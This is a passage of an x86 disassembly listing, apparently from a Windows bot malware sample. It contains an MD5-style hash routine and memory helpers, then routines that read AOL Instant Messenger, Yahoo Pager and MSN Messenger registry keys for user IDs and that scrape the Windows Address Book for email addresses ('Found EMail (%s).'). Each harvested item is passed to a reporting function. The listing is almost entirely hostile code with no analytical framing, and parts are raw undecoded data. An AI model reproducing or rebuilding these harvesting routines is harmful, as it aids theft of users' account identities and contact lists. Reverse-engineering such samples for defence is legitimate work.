		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_435A60
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_434DA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435950	proc near		; CODE XREF: sub_434D10+14p
					; sub_434D10+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_435997
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43596A:				; CODE XREF: sub_435950+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43596A
		pop	esi


loc_435997:				; CODE XREF: sub_435950+7j
		pop	edi
		retn
sub_435950	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4359C0	proc near		; CODE XREF: sub_434DA0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_435A0A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4359DD:				; CODE XREF: sub_4359C0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4359DD
		pop	edi
		pop	esi


loc_435A0A:				; CODE XREF: sub_4359C0+7j
		pop	ebp
		retn
sub_4359C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A30	proc near		; CODE XREF: sub_434C30+4Ep
					; sub_434C30+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_435A4C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_435A43:				; CODE XREF: sub_435A30+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_435A43


loc_435A4C:				; CODE XREF: sub_435A30+7j
		pop	esi
		retn
sub_435A30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A60	proc near		; CODE XREF: sub_434D10+60p
					; sub_434DA0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_435A8E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_435A8E:				; CODE XREF: sub_435A60+6j
		retn
sub_435A60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435AA0	proc near		; CODE XREF: sub_401C21j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_435AA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435B90:				; CODE XREF: ___:loc_401F3Cj
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43D126
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436148
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	1
		push	eax
		call	sub_4016B8
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 51172C1Dh, 4C48300h,	0B9F88Bh, 33000002h, 0D43D89C0h
		dd 0F3005103h, 7784BEABh, 4E8B0044h, 4C8D51FCh,	2DE85024h
		dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
		dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
		dd 0FF50FFFCh, 4C483D7h, 1FEAE850h, 83907781h, 0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004445h, 1BCBBEE8h, 0B99000h, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0D8BF0000h, 0F3005103h
		dd 3D4A1ABh, 4C8D0051h,	948D1824h, 6E424h, 0C75100h, 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2068h
		dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D807568h, 0BB39E800h, 0C483FFFCh, 0E8006A1Ch
		dd 24CA2D8h, 81168B90h,	1FAh, 0B5850F80h, 0A0000001h, 448F30h
		dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h
		dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h
		dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h
		dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh
		dd 51000001h, 44C75250h, 4424h,	0E8900000h, 247A25Ch, 1424448Bh
		dd 840FC085h, 13Ch, 0C085FF33h,	24247C89h, 12E860Fh, 4C8D0000h
		dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h
		dd 80000003h, 402444C7h, 800h, 0A216E890h, 0C0850248h
		dd 0E9850Fh, 4E8B0000h,	24948D04h, 0EE4h, 84685251h, 55004446h
		dd 20244489h, 0CA4DE890h, 0B9001Bh, 33000002h, 24BC8DC0h
		dd 6F4h, 0F310C483h, 100B9ABh, 0D8BF0000h, 0F3005103h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h
		dd 4FA1BBE8h, 8468B02h,	18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 0E8905210h, 24CA190h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 444D20h, 0E8694F8Dh,	0FFFCB62Dh, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D8075h, 0FCB98EE8h, 1CC483FFh, 1024548Bh
		dd 29E89052h, 8B024CA1h, 8B24247Ch, 47142444h, 7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h
		dd 10C683FFh, 79D4FE81h, 8C0F0044h, 0FFFFFD2Ah,	17642D8Bh
		dd 448D0051h, 68501C24h, 20019h, 6068006Ah, 6800447Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 448A1Ch, 85D3FF50h, 0BE850FC0h
		dd 68000000h, 104h, 7F649EE8h, 8C8D9077h, 2E824h, 7B546800h
		dd 0F08B0044h, 8A0C6851h, 90560044h, 1BC8D6E8h,	4E5C6800h
		dd 90560044h, 80907FE8h, 83F88B77h, 0FF851CC4h,	8D577574h
		dd 802494h, 646A0000h, 0AC07E852h, 83907780h, 0C0850CC4h
		dd 448D5374h, 0F4687C24h, 50004489h, 811C9FE8h,	0C4839077h
		dd 75C08508h, 24948B3Ch, 16F4h,	7C244C8Dh, 89D86851h, 4A8D0044h
		dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h,	94h, 93908Ah
		dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0E8905718h
		dd 7780AAA5h, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh
		dd 24448B04h, 0E890501Ch, 24C9FD8h, 1C244C8Dh, 182444C7h
		dd 80h,	196851h, 6A0002h, 4489B068h, 26800h, 0D5FF8000h
		dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h,	6A006A50h
		dd 8A1C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
		dd 0E8900000h, 777F638Fh, 0E824948Dh, 68000002h, 4489A8h
		dd 6852F08Bh, 448998h, 0C7C9E856h, 6890001Bh, 444E5Ch
		dd 71E89056h, 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h
		dd 80h,	9050646Ah, 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh
		dd 44897C68h, 0E8905100h, 77811B90h, 8508C483h,	8B3575C0h
		dd 16F4249Ch, 548D0000h, 68527C24h, 448960h, 0E8694B8Dh
		dd 0FFFCB3EDh, 938B8Ah,	8A500000h, 9483h, 68515000h, 4D8075h
		dd 0FCB74EE8h, 18C483FFh, 0A99FE857h, 83907780h, 0F68504C4h
		dd 0E8560A74h, 777F60FBh, 4C48390h, 1C24548Bh, 0D1E89052h
		dd 8D024C9Eh, 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh
		dd 0E9FFFCB0h, 184h
; ---------------------------------------------------------------------------


loc_436148:				; CODE XREF: ___:00435BD1j
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4362CC
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 2930000h
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_4488F8
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	short loc_4361D2
		mov	edx, [esp+10h]
		push	edx
		call	near ptr 2900000h
		nop
		jmp	loc_4362CC
; ---------------------------------------------------------------------------


loc_4361D2:				; CODE XREF: ___:004361C0j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_511740
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_4488EC
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		nop
		call	near ptr 2930000h
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 28E0000h
		nop
		test	eax, eax
		jz	short loc_436289
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_4362CC
; ---------------------------------------------------------------------------


loc_436289:				; CODE XREF: ___:0043627Ej
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_4362CC:				; CODE XREF: ___:0043615Aj
					; ___:0043617Ej ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4364D0	proc near		; CODE XREF: sub_4016FEj

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4364D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4364D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436570:				; CODE XREF: ___:loc_401FF5j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017EE
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43680E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 2930000h
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43680E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_448F30
		push	eax
		nop
		call	near ptr 28E0000h
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 2900000h
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		nop
		call	near ptr 2850000h
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2710000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_436649
		push	edi
		nop
		call	near ptr 2830000h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436649:				; CODE XREF: ___:00436631j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 271072Ah
		mov	esi, eax
		test	esi, esi
		jnz	short loc_436679
		mov	esi, dword_5118E0
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436679:				; CODE XREF: ___:0043665Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_436718
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4366BB:				; CODE XREF: ___:0043670Ej
		xor	eax, eax
		mov	ecx, edi


loc_4366BF:				; CODE XREF: ___:004366CFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4366BF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4366BB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_436718:				; CODE XREF: ___:004366A7j
		push	edi
		mov	edi, dword_5118E0
		call	edi
		push	esi
		nop
		call	near ptr 271092Eh
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		call	near ptr 2930000h
		nop
		test	eax, eax
		jnz	loc_43680E
		mov	ebx, off_511C00
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_436767:				; CODE XREF: ___:004367FEj
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_448A38
		push	ecx
		call	ebx ; sub_5F285B
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_436803
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_448A2C
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		push	64h
		call	near ptr 2820269h
		nop
		jmp	loc_436767
; ---------------------------------------------------------------------------


loc_436803:				; CODE XREF: ___:004367C3j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2900000h


loc_43680E:				; CODE XREF: ___:00436594j
					; ___:004365C4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368D0	proc near		; CODE XREF: sub_401E65j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4368D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_40168B
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4368D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_40168B
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4369E0	proc near		; CODE XREF: sub_401E6Aj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4369E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436EB7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_444600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017EE
		mov	edi, dword_511764
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017EE
		mov	ebp, dword_51172C
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436B0C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B7B+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
